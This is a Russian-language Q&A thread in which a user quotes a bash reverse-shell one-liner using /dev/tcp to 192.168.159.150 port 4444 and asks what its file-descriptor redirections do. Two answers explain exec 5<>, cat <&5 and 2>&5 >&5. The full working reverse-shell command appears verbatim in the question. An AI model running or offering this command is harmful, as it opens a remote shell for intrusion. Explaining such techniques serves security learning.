
Я провожу исследование в области безопасности и мне интересно, как следующий фрагмент работает в ОС на базе Unix:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
Я полностью осознаючтоэтот код делает это (т.е. устанавливает обратный шелл к 192.168.159.150 через порт 4444), но я не понимаю, что делают эти разделы:
exec 5<>
cat <&5
2>&5 >&5
И вообще, как все это складывается вместе, чтобы получилась та оболочка, которую я вижу.
Может ли кто-нибудь помочь объяснить это или указать мне правильное направление для понимания этого?
Спасибо
решение1
Краткое изложение:
exec 5<>
открывает новый дескриптор файла для чтения и записи, а затем называет его5
cat <&5
считывает из этого недавно открытого дескриптора файла
2>&5 >&5
перенаправляет вывод как дескриптора файла 2
(stderr), так и дескриптора файла 1
(stdout) в дескриптор файла 5
. 1
В данном случае подразумевается, поскольку номер дескриптора файла не был предоставлен при втором перенаправлении.
решение2
На некоторые части вашего вопроса дан ответздесь
Но
- Это определяет новый файловый дескриптор с номером 5. Кстати, 0 — это STDIN, 1 — STDOUT, 2 — STDERR файловые дескрипторы.
- Отобразить информацию, полученную по протоколу TCP, IP 192.168.159.150, порт 4444
- Отправить STDERR и STDOUT в файловый обработчик 5, т.е. сеть